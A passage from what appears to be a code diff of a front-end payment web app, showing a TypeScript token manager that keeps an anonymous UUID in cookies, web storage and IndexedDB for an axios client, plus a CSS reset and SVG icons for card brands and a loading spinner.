db.createObjectStore(DB_CONFIG.store, { keyPath: "key" });
};
});
}
static async get(): Promise<string | null> {
try {
const db = await this.open();
return new Promise((resolve) => {
const tx = db.transaction(DB_CONFIG.store, "readonly");
const request = tx.objectStore(DB_CONFIG.store).get(DB_CONFIG.key);
request.onsuccess = () => resolve(request.result?.value || null);
request.onerror = () => resolve(null);
tx.oncomplete = () => db.close();
tx.onabort = () => db.close();
});
} catch {
return null;
}
}
static async set(token: string): Promise<void> {
try {
const db = await this.open();
return new Promise((resolve) => {
const tx = db.transaction(DB_CONFIG.store, "readwrite");
tx.objectStore(DB_CONFIG.store).put({ key: DB_CONFIG.key, value: token });
tx.oncomplete = () => { db.close(); resolve(); };
tx.onerror = () => { db.close(); resolve(); };
});
} catch {
// 静默失败,有其他存储兜底
}
}
}
// ============ Token 管理器 ============
class TokenManager {
private static cache: string | null = null;
private static pending: Promise<string> | null = null;
// UUID v4 格式校验,防止脏数据
private static isValidToken(token: string | null): token is string {
return !!token && /^[0-9a-f]{8}-[0-9a-f]{4}-4[0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$/i.test(token);
}
// 安全地操作 Storage
private static safeGet(storage: Storage): string | null {
try {
return storage.getItem(STORAGE_KEY);
} catch {
return null;
}
}
private static safeSet(storage: Storage, token: string): void {
try {
storage.setItem(STORAGE_KEY, token);
} catch {
// 静默失败
}
}
// Cookie 操作同步iOS 上比 localStorage 更早可用)
private static getFromCookie(): string | null {
try {
const match = document.cookie.match(new RegExp(`(?:^|; )${STORAGE_KEY}=([^;]*)`));
return match ? decodeURIComponent(match[1]) : null;
} catch {
return null;
}
}
private static saveToCookie(token: string): void {
try {
// 有效期 400 天Safari 上限SameSite=Lax 兼容 WebView
document.cookie = `${STORAGE_KEY}=${encodeURIComponent(token)};path=/;max-age=34560000;SameSite=Lax`;
} catch {
// 静默失败
}
}
// 同步到所有存储(后台执行,不阻塞)
private static syncToAllStorages(token: string): void {
this.safeSet(sessionStorage, token);
this.safeSet(localStorage, token);
this.saveToCookie(token);
TokenDB.set(token).catch(() => { });
}
// 从同步存储快速获取cookie 优先iOS 上最可靠的同步读取)
private static getFromSyncStorage(): string | null {
const token = this.getFromCookie() || this.safeGet(sessionStorage) || this.safeGet(localStorage);
return this.isValidToken(token) ? token : null;
}
// 延迟后重试读取同步存储iOS 冷启动时存储可能未就绪)
private static waitAndRetrySync(ms: number): Promise<string | null> {
return new Promise(resolve => {
setTimeout(() => resolve(this.getFromSyncStorage()), ms);
});
}
// 主入口:获取或创建 Token
static async getToken(): Promise<string> {
// 1. 内存缓存(最快)
if (this.cache) return this.cache;
// 2. 等待进行中的创建(并发安全)
if (this.pending) return this.pending;
// 3. 同步存储快速路径
const syncToken = this.getFromSyncStorage();
if (syncToken) {
this.cache = syncToken;
this.syncToAllStorages(syncToken);
return syncToken;
}
// 4. 异步获取或创建(带锁)
this.pending = this.createToken();
return this.pending;
}
private static async createToken(): Promise<string> {
try {
// 再次检查缓存
if (this.cache) return this.cache;
// 尝试从 IndexedDB 恢复
const dbToken = await TokenDB.get();
if (dbToken && this.isValidToken(dbToken)) {
this.cache = dbToken;
this.syncToAllStorages(dbToken);
return dbToken;
}
// iOS 冷启动兜底:等待一小段时间后重试同步存储
// localStorage/cookie 数据可能存在,但初始化瞬间还未就绪)
for (const delay of [50, 100, 150]) {
const retryToken = await this.waitAndRetrySync(delay);
if (retryToken) {
this.cache = retryToken;
this.syncToAllStorages(retryToken);
return retryToken;
}
}
// 所有恢复手段用尽,生成新 Token
const newToken = uuidv4();
this.cache = newToken;
this.syncToAllStorages(newToken);
return newToken;
} finally {
this.pending = null;
}
}
}
// ============ Axios 实例 ============
const http = axios.create({
baseURL: BASE_URL,
timeout: 15000,
});
// 请求拦截器
http.interceptors.request.use(
async (config) => {
const token = await TokenManager.getToken();
config.headers["Token"] = token;
config.headers["X-Token"] = token;
config.params = { ...config.params, token };
return config;
},
(error) => Promise.reject(error)
);
// 响应拦截器
http.interceptors.response.use(
(response) => response.data,
(error) => {
if (error.response) {
console.error("Error:", error.response.status, error.response.data);
} else {
console.error("Error:", error.message);
}
return Promise.reject(error);
}
);
export default http;

View File

@@ -0,0 +1,11 @@
html, body {
padding: 0;
border: 0;
margin: 0;
overflow-x: hidden;
overflow-y: auto;
overflow: hidden auto
}

View File

@@ -0,0 +1 @@
<svg enable-background="new 0 0 780 500" height="500" viewBox="0 0 780 500" width="780" xmlns="http://www.w3.org/2000/svg"><path d="m40 0h700c22.092 0 40 17.909 40 40v420c0 22.092-17.908 40-40 40h-700c-22.091 0-40-17.908-40-40v-420c0-22.091 17.909-40 40-40z" fill="#0079be"/><path d="m599.93 251.45c0-99.415-82.98-168.13-173.9-168.1h-78.242c-92.003-.033-167.73 68.705-167.73 168.1 0 90.93 75.727 165.64 167.73 165.2h78.242c90.914.436 173.9-74.294 173.9-165.2z" fill="#fff"/><path d="m348.28 97.43c-84.07.027-152.19 68.308-152.21 152.58.02 84.258 68.144 152.53 152.21 152.56 84.09-.027 152.23-68.303 152.24-152.56-.011-84.272-68.149-152.55-152.24-152.58z" fill="#0079be"/><path d="m252.07 249.6c.08-41.181 25.746-76.297 61.94-90.25v180.48c-36.194-13.948-61.861-49.045-61.94-90.23zm131 90.274v-180.53c36.207 13.92 61.914 49.057 61.979 90.257-.065 41.212-25.772 76.322-61.979 90.269z" fill="#fff"/></svg>

After

Width:  |  Height:  |  Size: 901 B

File diff suppressed because one or more lines are too long

After

Width:  |  Height:  |  Size: 8.7 KiB

View File

@@ -0,0 +1 @@
<?xml version="1.0" ?><svg viewBox="0 0 48 48" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><defs><style>.cls-1{fill:url(#linear-gradient);}.cls-2{fill:#a5a4a4;}.cls-3{fill:#333;}.cls-4{fill:#e6e6e6;}.cls-5{fill:gray;}.cls-6{fill:url(#linear-gradient-2);}.cls-7{fill:url(#linear-gradient-3);}.cls-8{fill:#fff;}</style><linearGradient gradientUnits="userSpaceOnUse" id="linear-gradient" x1="22.04" x2="22.04" y1="12.76" y2="39.8"><stop offset="0" stop-color="#e6e6e6"/><stop offset="1" stop-color="#bababa"/></linearGradient><linearGradient gradientUnits="userSpaceOnUse" id="linear-gradient-2" x1="35.54" x2="35.54" y1="11.27" y2="20.1"><stop offset="0" stop-color="#00bde8"/><stop offset="1" stop-color="#009dc1"/></linearGradient><linearGradient gradientUnits="userSpaceOnUse" id="linear-gradient-3" x1="35.54" x2="35.54" y1="12" y2="19.67"><stop offset="0" stop-color="#00cfff"/><stop offset="1" stop-color="#00afd6"/></linearGradient></defs><title/><g id="icons"><g data-name="Layer 3" id="Layer_3"><rect class="cls-1" height="26" rx="5" ry="5" width="35" x="4.54" y="12.81"/><path class="cls-2" d="M35.54,11.19a7.63,7.63,0,1,0,4,14.1V12.34A7.54,7.54,0,0,0,35.54,11.19Z"/><rect class="cls-3" height="4" width="35" x="4.54" y="19.81"/><rect class="cls-4" height="2" width="8" x="8.54" y="32.81"/><rect class="cls-4" height="2" width="6" x="19.54" y="32.81"/><rect class="cls-4" height="2" width="7" x="28.54" y="32.81"/><rect class="cls-5" height="2" width="8" x="8.54" y="31.81"/><rect class="cls-5" height="2" width="6" x="19.54" y="31.81"/><rect class="cls-5" height="2" width="7" x="28.54" y="31.81"/><path class="cls-6" d="M43.17,16.81a7.63,7.63,0,1,1-7.63-7.62A7.64,7.64,0,0,1,43.17,16.81Z"/><path class="cls-7" d="M35.54,23.44a6.63,6.63,0,1,1,6.63-6.63,6.63,6.63,0,0,1-6.63,6.63Z"/><path class="cls-8" d="M38,16.58V14.85a2.25,2.25,0,0,0-2.25-2.25h-.34a2.25,2.25,0,0,0-2.25,2.25v1.73H31.79V21H39.3V16.58Zm-1,0H34.12V14.85a1.25,1.25,0,0,1,1.25-1.25h.34A1.25,1.25,0,0,1,37,14.85Z"/></g></g></svg>

After

Width:  |  Height:  |  Size: 2.0 KiB

View File

@@ -0,0 +1 @@
<svg width="24" height="24" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg" fill="#6d6e78" role="img" aria-labelledby="cvcDesc"><path opacity=".2" fill-rule="evenodd" clip-rule="evenodd" d="M15.337 4A5.493 5.493 0 0013 8.5c0 1.33.472 2.55 1.257 3.5H4a1 1 0 00-1 1v1a1 1 0 001 1h16a1 1 0 001-1v-.6a5.526 5.526 0 002-1.737V18a2 2 0 01-2 2H3a2 2 0 01-2-2V6a2 2 0 012-2h12.337zm6.707.293c.239.202.46.424.662.663a2.01 2.01 0 00-.662-.663z"></path><path opacity=".4" fill-rule="evenodd" clip-rule="evenodd" d="M13.6 6a5.477 5.477 0 00-.578 3H1V6h12.6z"></path><path fill-rule="evenodd" clip-rule="evenodd" d="M18.5 14a5.5 5.5 0 110-11 5.5 5.5 0 010 11zm-2.184-7.779h-.621l-1.516.77v.786l1.202-.628v3.63h.943V6.22h-.008zm1.807.629c.448 0 .762.251.762.613 0 .393-.37.668-.904.668h-.235v.668h.283c.565 0 .95.282.95.691 0 .393-.377.66-.911.66-.393 0-.786-.126-1.194-.37v.786c.44.189.88.291 1.312.291 1.029 0 1.736-.526 1.736-1.288 0-.535-.33-.967-.88-1.14.472-.157.778-.573.778-1.045 0-.738-.652-1.241-1.595-1.241a3.143 3.143 0 00-1.234.267v.77c.378-.212.763-.33 1.132-.33zm3.394 1.713c.574 0 .974.338.974.778 0 .463-.4.785-.974.785-.346 0-.707-.11-1.076-.337v.809c.385.173.778.26 1.163.26.204 0 .392-.032.573-.08a4.313 4.313 0 00.644-2.262l-.015-.33a1.807 1.807 0 00-.967-.252 3 3 0 00-.448.032V6.944h1.132a4.423 4.423 0 00-.362-.723h-1.587v2.475a3.9 3.9 0 01.943-.133z"></path></svg>

After

Width:  |  Height:  |  Size: 1.3 KiB

View File

@@ -0,0 +1 @@
<svg enable-background="new 0 0 780 500" height="500" viewBox="0 0 780 500" width="780" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><linearGradient id="a" gradientTransform="matrix(132.87 0 0 323.02 -120270 -100930)" gradientUnits="userSpaceOnUse" x1="908.72" x2="909.72" y1="313.21" y2="313.21"><stop offset="0" stop-color="#007b40"/><stop offset="1" stop-color="#55b330"/></linearGradient><linearGradient id="b" gradientTransform="matrix(133.43 0 0 323.02 -121080 -100920)" gradientUnits="userSpaceOnUse" x1="908.73" x2="909.73" y1="313.21" y2="313.21"><stop offset="0" stop-color="#1d2970"/><stop offset="1" stop-color="#006dba"/></linearGradient><linearGradient id="c" gradientTransform="matrix(132.96 0 0 323.03 -120500 -100930)" gradientUnits="userSpaceOnUse" x1="908.72" x2="909.72" y1="313.21" y2="313.21"><stop offset="0" stop-color="#6e2b2f"/><stop offset="1" stop-color="#e30138"/></linearGradient><path d="m632.24 361.27c0 41.615-33.729 75.36-75.357 75.36h-409.13v-297.88c0-41.626 33.73-75.371 75.364-75.371h409.12l-.001 297.89z" fill="#fff"/><path d="m498.86 256.54c11.686.254 23.438-.516 35.077.4 11.787 2.199 14.628 20.043 4.156 25.887-7.145 3.85-15.633 1.434-23.379 2.113h-15.854zm41.834-32.145c2.596 9.164-6.238 17.392-15.064 16.13h-26.77c.188-8.642-.367-18.022.272-26.209 10.724.302 21.547-.616 32.209.48 4.581 1.151 8.415 4.917 9.353 9.599zm64.425-135.9c.498 17.501.072 35.927.215 53.783-.033 72.596.07 145.19-.057 217.79-.47 27.207-24.582 50.848-51.601 51.391-27.045.11-54.094.017-81.143.047v-109.75c29.471-.152 58.957.309 88.416-.23 13.666-.858 28.635-9.875 29.271-24.914 1.609-15.104-12.631-25.551-26.151-27.201-5.197-.135-5.045-1.515 0-2.117 12.895-2.787 23.021-16.133 19.227-29.499-3.233-14.058-18.771-19.499-31.695-19.472-26.352-.179-52.709-.025-79.062-.077.17-20.489-.355-41 .283-61.474 2.088-26.716 26.807-48.748 53.446-48.27 26.287-.004 52.57-.004 78.851-.005z" fill="url(#a)"/><path d="m174.74 139.54c.673-27.164 24.888-50.611 51.872-51.008 26.945-.083 53.894-.012 80.839-.036-.074 90.885.146 181.78-.111 272.66-1.038 26.834-24.989 49.834-51.679 50.309-26.996.098-53.995.014-80.992.041v-113.45c26.223 6.195 53.722 8.832 80.474 4.723 15.991-2.573 33.487-10.426 38.901-27.016 3.984-14.191 1.741-29.126 2.334-43.691v-33.825h-46.297c-.208 22.371.426 44.781-.335 67.125-1.248 13.734-14.849 22.46-27.802 21.994-16.064.17-47.897-11.642-47.897-11.642-.08-41.914.466-94.405.693-136.18z" fill="url(#b)"/><path d="m324.72 211.89c-2.437.517-.49-8.301-1.113-11.646.166-21.15-.347-42.323.283-63.458 2.082-26.829 26.991-48.916 53.738-48.288h78.768c-.074 90.885.145 181.78-.111 272.66-1.039 26.834-24.992 49.833-51.683 50.309-26.997.102-53.997.016-80.996.042v-124.3c18.439 15.129 43.5 17.484 66.472 17.525 17.318-.006 34.535-2.676 51.353-6.67v-22.772c-18.953 9.446-41.233 15.446-62.243 10.019-14.656-3.648-25.295-17.812-25.058-32.937-1.698-15.729 7.522-32.335 22.979-37.011 19.191-6.008 40.107-1.413 58.096 6.398 3.854 2.018 7.766 4.521 6.225-1.921v-17.899c-30.086-7.158-62.104-9.792-92.33-2.005-8.749 2.468-17.273 6.211-24.38 11.956z" fill="url(#c)"/></svg>

After

Width:  |  Height:  |  Size: 3.0 KiB

View File

@@ -0,0 +1 @@
<?xml version="1.0" ?><!DOCTYPE svg PUBLIC '-//W3C//DTD SVG 1.1//EN' 'http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd'><svg enable-background="new 0 0 48 48" height="48px" id="Layer_1" version="1.1" viewBox="0 0 48 48" width="48px" xml:space="preserve" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><path clip-rule="evenodd" d="M46,44.438H2c-0.553,0-1-0.447-1-1s0.447-1,1-1h44c0.553,0,1,0.447,1,1 S46.553,44.438,46,44.438z M16,34.438c0.553,0,1,0.447,1,1s-0.447,1-1,1H8c-0.553,0-1-0.447-1-1s0.447-1,1-1h1v-13H8 c-0.553,0-1-0.447-1-1c0-0.552,0.447-1,1-1h8c0.553,0,1,0.448,1,1c0,0.553-0.447,1-1,1h-1v13H16z M13,21.438h-2v13h2V21.438z M28,34.438c0.553,0,1,0.447,1,1s-0.447,1-1,1h-8c-0.553,0-1-0.447-1-1s0.447-1,1-1h1v-13h-1c-0.553,0-1-0.447-1-1 c0-0.552,0.447-1,1-1h8c0.553,0,1,0.448,1,1c0,0.553-0.447,1-1,1h-1v13H28z M25,21.438h-2v13h2V21.438z M44,39.438 c0,0.553-0.447,1-1,1H5c-0.553,0-1-0.447-1-1s0.447-1,1-1h38C43.553,38.438,44,38.885,44,39.438z M40,34.438c0.553,0,1,0.447,1,1 s-0.447,1-1,1h-8c-0.553,0-1-0.447-1-1s0.447-1,1-1h1v-13h-1c-0.553,0-1-0.447-1-1c0-0.552,0.447-1,1-1h8c0.553,0,1,0.448,1,1 c0,0.553-0.447,1-1,1h-1v13H40z M37,21.438h-2v13h2V21.438z M3,15.438L24,4l21,11.438v2H3V15.438z M40.541,15.438L24,6.886 L7.396,15.438H40.541z" fill-rule="evenodd"/></svg>

After

Width:  |  Height:  |  Size: 1.3 KiB

View File

@@ -0,0 +1,60 @@
<?xml version="1.0" encoding="utf-8"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" style="margin: auto; background: rgb(255, 255, 255); display: block; shape-rendering: auto;" width="200px" height="200px" viewBox="0 0 100 100" preserveAspectRatio="xMidYMid">
<g transform="translate(80,50)">
<g transform="rotate(0)">
<circle cx="0" cy="0" r="6" fill="#000000" fill-opacity="1">
<animateTransform attributeName="transform" type="scale" begin="-0.875s" values="1.5 1.5;1 1" keyTimes="0;1" dur="1s" repeatCount="indefinite"></animateTransform>
<animate attributeName="fill-opacity" keyTimes="0;1" dur="1s" repeatCount="indefinite" values="1;0" begin="-0.875s"></animate>
</circle>
</g>
</g><g transform="translate(71.21320343559643,71.21320343559643)">
<g transform="rotate(45)">
<circle cx="0" cy="0" r="6" fill="#000000" fill-opacity="0.875">
<animateTransform attributeName="transform" type="scale" begin="-0.75s" values="1.5 1.5;1 1" keyTimes="0;1" dur="1s" repeatCount="indefinite"></animateTransform>
<animate attributeName="fill-opacity" keyTimes="0;1" dur="1s" repeatCount="indefinite" values="1;0" begin="-0.75s"></animate>
</circle>
</g>
</g><g transform="translate(50,80)">
<g transform="rotate(90)">
<circle cx="0" cy="0" r="6" fill="#000000" fill-opacity="0.75">
<animateTransform attributeName="transform" type="scale" begin="-0.625s" values="1.5 1.5;1 1" keyTimes="0;1" dur="1s" repeatCount="indefinite"></animateTransform>
<animate attributeName="fill-opacity" keyTimes="0;1" dur="1s" repeatCount="indefinite" values="1;0" begin="-0.625s"></animate>
</circle>
</g>
</g><g transform="translate(28.786796564403577,71.21320343559643)">
<g transform="rotate(135)">
<circle cx="0" cy="0" r="6" fill="#000000" fill-opacity="0.625">
<animateTransform attributeName="transform" type="scale" begin="-0.5s" values="1.5 1.5;1 1" keyTimes="0;1" dur="1s" repeatCount="indefinite"></animateTransform>
<animate attributeName="fill-opacity" keyTimes="0;1" dur="1s" repeatCount="indefinite" values="1;0" begin="-0.5s"></animate>
</circle>
</g>
</g><g transform="translate(20,50.00000000000001)">
<g transform="rotate(180)">
<circle cx="0" cy="0" r="6" fill="#000000" fill-opacity="0.5">
<animateTransform attributeName="transform" type="scale" begin="-0.375s" values="1.5 1.5;1 1" keyTimes="0;1" dur="1s" repeatCount="indefinite"></animateTransform>
<animate attributeName="fill-opacity" keyTimes="0;1" dur="1s" repeatCount="indefinite" values="1;0" begin="-0.375s"></animate>
</circle>
</g>
</g><g transform="translate(28.78679656440357,28.786796564403577)">
<g transform="rotate(225)">
<circle cx="0" cy="0" r="6" fill="#000000" fill-opacity="0.375">
<animateTransform attributeName="transform" type="scale" begin="-0.25s" values="1.5 1.5;1 1" keyTimes="0;1" dur="1s" repeatCount="indefinite"></animateTransform>
<animate attributeName="fill-opacity" keyTimes="0;1" dur="1s" repeatCount="indefinite" values="1;0" begin="-0.25s"></animate>
</circle>
</g>
</g><g transform="translate(49.99999999999999,20)">
<g transform="rotate(270)">
<circle cx="0" cy="0" r="6" fill="#000000" fill-opacity="0.25">
<animateTransform attributeName="transform" type="scale" begin="-0.125s" values="1.5 1.5;1 1" keyTimes="0;1" dur="1s" repeatCount="indefinite"></animateTransform>
<animate attributeName="fill-opacity" keyTimes="0;1" dur="1s" repeatCount="indefinite" values="1;0" begin="-0.125s"></animate>
</circle>
</g>
</g><g transform="translate(71.21320343559643,28.78679656440357)">
<g transform="rotate(315)">
<circle cx="0" cy="0" r="6" fill="#000000" fill-opacity="0.125">
<animateTransform attributeName="transform" type="scale" begin="0s" values="1.5 1.5;1 1" keyTimes="0;1" dur="1s" repeatCount="indefinite"></animateTransform>
<animate attributeName="fill-opacity" keyTimes="0;1" dur="1s" repeatCount="indefinite" values="1;0" begin="0s"></animate>
</circle>
</g>
</g>
<!-- [ldio] generated by https://loading.io/ --></svg>

After

Width:  |  Height:  |  Size: 3.9 KiB

View File

@@ -0,0 +1 @@
<svg enable-background="new 0 0 780 500" height="500" viewBox="0 0 780 500" width="780" xmlns="http://www.w3.org/2000/svg"><path d="m293.2 348.73 33.359-195.76h53.358l-33.384 195.76zm246.11-191.54c-10.569-3.966-27.135-8.222-47.821-8.222-52.726 0-89.863 26.551-90.181 64.604-.297 28.129 26.515 43.822 46.754 53.185 20.771 9.598 27.752 15.716 27.652 24.283-.133 13.123-16.586 19.115-31.924 19.115-21.355 0-32.701-2.967-50.225-10.273l-6.878-3.111-7.487 43.822c12.463 5.467 35.508 10.199 59.438 10.445 56.09 0 92.502-26.248 92.916-66.885.199-22.27-14.016-39.215-44.801-53.188-18.65-9.056-30.072-15.099-29.951-24.269 0-8.137 9.668-16.838 30.56-16.838 17.446-.271 30.088 3.534 39.936 7.5l4.781 2.259zm137.31-4.223h-41.23c-12.772 0-22.332 3.486-27.94 16.234l-79.245 179.4h56.031s9.159-24.121 11.231-29.418c6.123 0 60.555.084 68.336.084 1.596 6.854 6.492 29.334 6.492 29.334h49.512l-43.187-195.64zm-65.417 126.41c4.414-11.279 21.26-54.724 21.26-54.724-.314.521 4.381-11.334 7.074-18.684l3.606 16.878s10.217 46.729 12.353 56.527h-44.293zm-363.3-126.41-52.239 133.5-5.565-27.129c-9.726-31.274-40.025-65.157-73.898-82.12l47.767 171.2 56.455-.063 84.004-195.39-56.524-.001" fill="#0e4595"/><path d="m146.92 152.96h-86.041l-.682 4.073c66.939 16.204 111.23 55.363 129.62 102.42l-18.709-89.96c-3.229-12.396-12.597-16.096-24.186-16.528" fill="#f2ae14"/></svg>

After

Width:  |  Height:  |  Size: 1.3 KiB

File diff suppressed because one or more lines are too long

After

Width:  |  Height:  |  Size: 6.8 KiB

View File

@@ -0,0 +1 @@
<svg enable-background="new 0 0 780 500" height="500" viewBox="0 0 780 500" width="780" xmlns="http://www.w3.org/2000/svg"><path d="m40 .001h700c22.092 0 40 17.909 40 40v420c0 22.092-17.908 40-40 40h-700c-22.091 0-40-17.908-40-40v-420c0-22.091 17.909-40 40-40z" fill="#2557d6"/><path d="m.253 235.69h37.441l8.442-19.51h18.9l8.42 19.51h73.668v-14.915l6.576 14.98h38.243l6.576-15.202v15.138h183.08l-.085-32.026h3.542c2.479.083 3.204.302 3.204 4.226v27.8h94.689v-7.455c7.639 3.92 19.518 7.455 35.148 7.455h39.836l8.525-19.51h18.9l8.337 19.51h76.765v-18.532l11.626 18.532h61.515v-122.51h-60.88v14.468l-8.522-14.468h-62.471v14.468l-7.828-14.468h-84.38c-14.123 0-26.539 1.889-36.569 7.153v-7.153h-58.229v7.153c-6.383-5.426-15.079-7.153-24.75-7.153h-212.74l-14.274 31.641-14.659-31.641h-67.005v14.468l-7.362-14.468h-57.145l-26.539 58.246v64.261h.003zm236.34-17.67h-22.464l-.083-68.794-31.775 68.793h-19.24l-31.858-68.854v68.854h-44.57l-8.42-19.592h-45.627l-8.505 19.592h-23.801l39.241-87.837h32.559l37.269 83.164v-83.164h35.766l28.678 59.587 26.344-59.587h36.485zm-165.9-37.823-14.998-35.017-14.915 35.017zm255.3 37.821h-73.203v-87.837h73.203v18.291h-51.289v15.833h50.06v18.005h-50.061v17.542h51.289zm103.16-64.18c0 14.004-9.755 21.24-15.439 23.412 4.794 1.748 8.891 4.838 10.84 7.397 3.094 4.369 3.628 8.271 3.628 16.116v17.255h-22.104l-.083-11.077c0-5.285.528-12.886-3.458-17.112-3.202-3.09-8.083-3.76-15.973-3.76h-23.523v31.95h-21.914v-87.838h50.401c11.199 0 19.451.283 26.535 4.207 6.933 3.924 11.09 9.652 11.09 19.45zm-27.699 13.042c-3.013 1.752-6.573 1.81-10.841 1.81h-26.62v-19.51h26.982c3.818 0 7.804.164 10.393 1.584 2.842 1.28 4.601 4.003 4.601 7.765 0 3.84-1.674 6.929-4.515 8.351zm62.844 51.138h-22.358v-87.837h22.358zm259.56 0h-31.053l-41.535-65.927v65.927h-44.628l-8.527-19.592h-45.521l-8.271 19.592h-25.648c-10.649 0-24.138-2.257-31.773-9.715-7.701-7.458-11.708-17.56-11.708-33.533 0-13.027 2.395-24.936 11.812-34.347 7.085-7.01 18.18-10.242 33.28-10.242h21.215v18.821h-20.771c-7.997 0-12.514 1.14-16.862 5.203-3.735 3.699-6.298 10.69-6.298 19.897 0 9.41 1.951 16.196 6.023 20.628 3.373 3.476 9.506 4.53 15.272 4.53h9.842l30.884-69.076h32.835l37.102 83.081v-83.08h33.366l38.519 61.174v-61.174h22.445zm-133.2-37.82-15.165-35.017-15.081 35.017zm189.04 178.08c-5.322 7.457-15.694 11.238-29.736 11.238h-42.319v-18.84h42.147c4.181 0 7.106-.527 8.868-2.175 1.665-1.474 2.605-3.554 2.591-5.729 0-2.561-1.064-4.593-2.677-5.811-1.59-1.342-3.904-1.95-7.722-1.95-20.574-.67-46.244.608-46.244-27.194 0-12.742 8.443-26.156 31.439-26.156h43.649v-17.479h-40.557c-12.237 0-21.129 2.81-27.425 7.174v-7.175h-59.985c-9.595 0-20.854 2.279-26.179 7.175v-7.175h-107.12v7.175c-8.524-5.892-22.908-7.175-29.549-7.175h-70.656v7.175c-6.745-6.258-21.742-7.175-30.886-7.175h-79.077l-18.094 18.764-16.949-18.764h-118.13v122.59h115.9l18.646-19.062 17.565 19.062 71.442.061v-28.838h7.021c9.479.14 20.66-.228 30.523-4.312v33.085h58.928v-31.952h2.842c3.628 0 3.985.144 3.985 3.615v28.333h179.01c11.364 0 23.244-2.786 29.824-7.845v7.845h56.78c11.815 0 23.354-1.587 32.134-5.649l.002-22.84zm-354.94-47.155c0 24.406-19.005 29.445-38.159 29.445h-27.343v29.469h-42.591l-26.984-29.086-28.042 29.086h-86.802v-87.859h88.135l26.961 28.799 27.875-28.799h70.021c17.389 0 36.929 4.613 36.929 28.945zm-174.22 40.434h-53.878v-17.48h48.11v-17.926h-48.11v-15.974h54.939l23.969 25.604zm86.81 10.06-33.644-35.789 33.644-34.65zm49.757-39.066h-28.318v-22.374h28.572c7.912 0 13.404 3.09 13.404 10.772 0 7.599-5.238 11.602-13.658 11.602zm148.36-40.373h73.138v18.17h-51.315v15.973h50.062v17.926h-50.062v17.48l51.314.08v18.23h-73.139zm-28.119 47.029c4.878 1.725 8.865 4.816 10.734 7.375 3.095 4.291 3.542 8.294 3.631 16.037v17.418h-22.002v-10.992c0-5.286.531-13.112-3.542-17.198-3.201-3.147-8.083-3.899-16.076-3.899h-23.42v32.09h-22.02v-87.859h50.594c11.093 0 19.173.47 26.366 4.146 6.915 4.004 11.266 9.487 11.266 19.511-.001 14.022-9.764 21.178-15.531 23.371zm-12.385-11.107c-2.932 1.667-6.556 1.811-10.818 1.811h-26.622v-19.732h26.982c3.902 0 7.807.08 10.458 1.587 2.84 1.423 4.538 4.146 4.538 7.903 0 3.758-1.699 6.786-4.538 8.431zm197.82 5.597c4.27 4.229 6.554 9.571 6.554 18.613 0 18.9-12.322 27.723-34.425 27.723h-42.68v-18.84h42.51c4.157 0 7.104-.525 8.95-2.175 1.508-1.358 2.589-3.333 2.589-5.729 0-2.561-1.17-4.592-2.675-5.811-1.675-1.34-3.986-1.949-7.803-1.949-20.493-.67-46.157.609-46.157-27.192 0-12.744 8.355-26.158 31.33-26.158h43.932v18.7h-40.198c-3.984 0-6.575.145-8.779 1.587-2.4 1.422-3.29 3.534-3.29 6.319 0 3.314 2.037 5.57 4.795 6.546 2.311.77 4.795.995 8.526.995l11.797.306c11.895.276 20.061 2.248 25.024 7.065zm86.955-23.52h-39.938c-3.986 0-6.638.144-8.867 1.587-2.312 1.423-3.202 3.534-3.202 6.322 0 3.314 1.951 5.568 4.791 6.544 2.312.771 4.795.996 8.444.996l11.878.304c11.983.284 19.982 2.258 24.86 7.072.891.67 1.422 1.422 2.033 2.175v-25z" fill="#fff"/></svg>

After

Width:  |  Height:  |  Size: 4.7 KiB

File diff suppressed because one or more lines are too long

After

Width:  |  Height:  |  Size: 9.3 KiB

File diff suppressed because one or more lines are too long

After

Width:  |  Height:  |  Size: 9.3 KiB

View File

@@ -0,0 +1 @@
<svg viewBox="0 0 1024 1024" version="1.1" xmlns="http://www.w3.org/2000/svg" width="24" height="24"><path d="M827.389622 192.340633 192.189695 192.340633c-71.761394 0-130.145106 55.656601-130.145106 124.065643l0 453.936583c0 68.411089 58.382689 124.066667 130.145106 124.066667l635.199926 0c71.761394 0 130.144082-55.656601 130.144082-124.066667L957.533704 316.406277C957.533704 247.997234 899.151016 192.340633 827.389622 192.340633zM192.189695 271.306102l635.199926 0c26.215058 0 47.469128 20.191878 47.469128 45.101197l0 65.462944L144.720567 381.870244l0-65.462944C144.720567 291.49798 165.973614 271.306102 192.189695 271.306102zM827.389622 815.44508 192.189695 815.44508c-26.216081 0-47.469128-20.192901-47.469128-45.102221L144.720567 508.759189 874.85875 508.759189l0 261.58367C874.85875 795.252179 853.60468 815.44508 827.389622 815.44508zM788.632923 703.187367l-186.241728 0c-18.650779 0-33.769105 15.118326-33.769105 33.769105s15.118326 33.769105 33.769105 33.769105l186.241728 0c18.650779 0 33.769105-15.118326 33.769105-33.769105S807.282678 703.187367 788.632923 703.187367z" fill="#6b7280"></path></svg>

After

Width:  |  Height:  |  Size: 1.1 KiB

View File

@@ -0,0 +1 @@
<svg height="500" viewBox="0 0 780 500" width="780" xmlns="http://www.w3.org/2000/svg"><g fill-rule="evenodd"><path d="m54.992 0c-30.365 0-54.992 24.63-54.992 55.004v390.992c0 30.38 24.619 55.004 54.992 55.004h670.016c30.365 0 54.992-24.63 54.992-55.004v-390.992c0-30.38-24.619-55.004-54.992-55.004z" fill="#4d4d4d"/><path d="m327.152 161.893c8.837 0 16.248 1.784 25.268 6.09v22.751c-8.544-7.863-15.955-11.154-25.756-11.154-19.264 0-34.414 15.015-34.414 34.05 0 20.075 14.681 34.196 35.37 34.196 9.312 0 16.586-3.12 24.8-10.857v22.763c-9.341 4.14-16.911 5.776-25.756 5.776-31.278 0-55.582-22.596-55.582-51.737 0-28.826 24.951-51.878 56.07-51.878zm-97.113.627c11.546 0 22.11 3.72 30.943 10.994l-10.748 13.248c-5.35-5.646-10.41-8.028-16.564-8.028-8.853 0-15.3 4.745-15.3 10.989 0 5.354 3.619 8.188 15.944 12.482 23.365 8.044 30.29 15.176 30.29 30.926 0 19.193-14.976 32.553-36.32 32.553-15.63 0-26.994-5.795-36.458-18.872l13.268-12.03c4.73 8.61 12.622 